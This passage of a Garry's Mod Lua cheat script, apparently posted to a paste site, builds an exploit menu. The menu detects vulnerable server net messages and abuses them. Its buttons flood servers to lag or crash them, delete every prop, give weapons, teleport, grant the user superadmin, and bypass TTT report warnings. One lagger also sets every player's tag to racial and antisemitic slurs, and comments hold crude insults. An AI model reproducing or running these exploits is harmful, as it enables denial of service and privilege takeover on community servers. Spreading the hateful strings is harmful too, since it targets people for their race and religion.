- inputFrame2.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
- end
- local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
- TextEntry2:SetSize( 380, 30 )
- TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
- TextEntry2:SetText( "m9k_ak47" )
- TextEntry2.OnEnter = function( self )
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Giving " .. TextEntry2:GetValue())
- net.Start("giveweapon")
- net.WriteEntity(LocalPlayer())
- net.WriteString(TextEntry2:GetValue())
- net.SendToServer()
- inputFrame2:SetVisible(false)
- end
- end)
- end
- local status = ValidNetString("timebombDefuse")
- if (status) then
- SploitText("Found Exploit: Delete All Props")
- addExploit( "30","Delete All Props", "props = dead", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Props De_Stroyed")
- for k,v in pairs(ents.GetAll()) do
- net.Start("timebombDefuse")
- net.WriteEntity(v)
- net.WriteBool(true)
- net.SendToServer()
- end
- end);end
- local status = ValidNetString("pac_submit")
- if (status) then
- SploitText("Found Exploit: Lagger")
- addExploit( "31","Lagger #8", "l4g yuh", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger8" ) then
- timer.Create("lagger8", 0.5, 0, function()
- for i=1, 1800 do
- net.Start("pac_submit")
- net.SendToServer()
- end
- end)
- SploitNotify("Starting Lagger")
- else
- timer.Remove("lagger8")
- SploitNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("steamid2")
- if (status) then
- SploitText("Found Exploit: Lagger #9")
- addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger9" ) then
- SploitNotify("Starting Lagger")
- timer.Create( "lagger9", 0, 0, function()
- for i = 1, 100 do
- net.Start( "steamid2" )
- net.WriteString( "discord.gg/F7nSfff" )
- net.SendToServer()
- end
- end)
- else
- timer.Remove("lagger9")
- SploitNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("NDES_SelectedEmblem")
- if (status) then
- SploitText("Found Exploit: Lagger #10")
- addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger10" ) then
- timer.Create("lagger10", 0.5, 0, function()
- for i=1, 2000 do
- net.Start("NDES_SelectedEmblem")
- net.WriteString("exploitcity")
- net.SendToServer()
- end
- end)
- SploitNotify("Starting Lagger")
- else
- timer.Remove("lagger10")
- SploitNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("Morpheus.StaffTracker")
- if (status) then
- SploitText("Found Exploit: Crasher #3")
- addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "crasher3" ) then
- timer.Create("crasher3", 0.5, 0, function()
- for i=1, 2000 do
- net.Start("Morpheus.StaffTracker")
- net.SendToServer()
- end
- end)
- SploitNotify("Crashing Server")
- else
- timer.Remove("crasher3")
- SploitNotify( "Canceling Crasher" )
- end
- end);end
- local status = ValidNetString("egg")
- if (status) then
- SploitText("Found Exploit: Get Easter Egg")
- addExploit( "34","Get Easter Egg", "ez eggs", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("egg")
- net.SendToServer()
- SploitNotify("Gave Easter Egg")
- end);end
- local status = ValidNetString("TalkIconChat")
- if (status) then
- spoofchat = 0
- SploitText("Found Exploit: Spoof Chat Icon")
- addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if spoofchat == 0 then
- hook.Remove('StartChat', 'TalkIcon')
- net.Start("TalkIconChat")
- net.WriteBool(true)
- net.SendToServer()
- spoofchat = 1
- SploitNotify("Enabled Icon Spoofer")
- else
- net.Start("TalkIconChat")
- net.WriteBool(false)
- net.SendToServer()
- SploitNotify("Disabled Icon Spoofer")
- spoofchat = 0
- end
- end);end
- local status = ValidNetString("join_disconnect")
- if (status) then
- SploitText("Found Exploit: Lagger #11")
- addExploit( "36","Lagger #11", "b1g lags my duder", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger11" ) then
- timer.Create("lagger11", 0.5, 0, function()
- for i=1, 3000 do
- net.Start("join_disconnect")
- net.WriteEntity(table.Random(player.GetAll()))
- net.SendToServer()
- end
- end)
- SploitNotify("Starting Lagger")
- else
- timer.Remove("lagger11")
- SploitNotify("Stopping Lagger")
- end
- end);end
- local status = ValidNetString("pplay_deleterow")
- if (status) then
- SploitText("Found Exploit: GET SUPERADMIN")
- addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- local id = LocalPlayer():SteamID()
- local tbl = {}
- tbl.name = "FAdmin_PlayerGroup"
- tbl.where = {
- "steamid",
- tostring(id)
- }
- net.Start("pplay_deleterow")
- net.WriteTable(tbl)
- net.SendToServer()
- local tbl = {}
- tbl.tblname = "FAdmin_PlayerGroup"
- tbl.tblinfo = {
- tostring(id),
- "superadmin"
- }
- net.Start("pplay_addrow")
- net.WriteTable(tbl)
- net.SendToServer()
- SploitNotify("promotion ;)")
- end);end
- -- ttt report bypass by daddy grampa
- local title = "You have been reported! Please answer all your reports."
- local function CheckChild(pan)
- if !pan || !IsValid(pan) then return end
- if pan.GetTitle && pan:GetTitle() == title then
- pan:Remove();
- print("Removed warning box")
- return
- end
- for k,v in pairs(pan:GetChildren()) do
- if v.GetTitle && v:GetTitle() == title then
- v:Remove();
- print("Removed warning box")
- return
- end
- if #v:GetChildren() > 0 then
- CheckChild(v)
- end
- end
- end
- if (engine.ActiveGamemode() == "terrortown") then
- bypass = 0
- SploitText("Found Exploit: TTT Report Bypass")
- addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if (bypass == 0) then
- hook.Add("Think", "remove_ttt_report", function()
- local pan = vgui.GetHoveredPanel()
- CheckChild(pan)
- end)
- SploitNotify("Enabled Report Bypass")
- bypass = 1
- else
- hook.Remove("Think", "remove_ttt_report")
- SploitNotify("Disabled Report Bypass")
- bypass = 0
- end
- end);end
- local status = ValidNetString("EZS_PlayerTag")
- if (status) then
- SploitText("Found exploitable net message: EZS_PlayerTag")
- addExploit( "39","Lagger #12", "b1g lags my duder", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger12" ) then
- timer.Create("lagger12", 0.5, 0, function()
- for k, v in pairs(player.GetAll()) do
- net.Start( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("I hate niggers")
- net.SendToServer()
- timer.Simple(2, function()
- net.Start( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("I hate jews")
- net.SendToServer()
- end)
- end
- end)
- SploitNotify("Starting Lagger")
- else
- timer.Remove("lagger12")
- SploitNotify("Stopping Lagger")
- end
- end);end
- if ConVarExists("advttt_spreadovertime_enabled") then
- SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
- addExploit( "40","Remove Spread", "pSilent No Spread", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
- SploitNotify("Spread Removed")
- end);end
- local status = ValidNetString("ATS_WARP_FROM_CLIENT")
- if (status) then
- SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
- addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
- inputFrame3Exists = true
- inputFrame3 = vgui.Create( "DFrame" )
- inputFrame3:SetTitle("Type a String Destination")
- inputFrame3:SetSize( 400, 75 )
- inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
- inputFrame3:SetDraggable(false)
- inputFrame3:ShowCloseButton(false)
- inputFrame3:MakePopup()
- inputFrame3.Paint = function( self, w, h )
- draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
- end
- local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
- TextEntry3:SetSize( 380, 30 )
- TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
- TextEntry3:SetText( "*destination*" )
- TextEntry3.OnEnter = function( self )
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
- net.Start( "ATS_WARP_FROM_CLIENT" )
- net.WriteEntity( LocalPlayer() )
- net.WriteString( TextEntry3:GetValue() )
- net.SendToServer()
- inputFrame3:SetVisible(false)
- end
- end)
- end
- /*
- local status = ValidNetString("TCBuyAmmo")
- if (status) then
- addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- SploitText("Getting Le Ammo")
- end);end
- */
- concommand.Add("exploits_open", function()
- Main:SetVisible(true)
- Main:MakePopup()
- Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
- end)
- closebutton.DoClick = function()
- Main:SetMouseInputEnabled(false)
- Main:SetKeyBoardInputEnabled(false)
- if (inputFrameExists) then
- inputFrame:SetVisible(false)
- end
- if (inputFrame2Exists) then
- inputFrame2:SetVisible(false)
- end
- Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
- Main:SetVisible(false)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement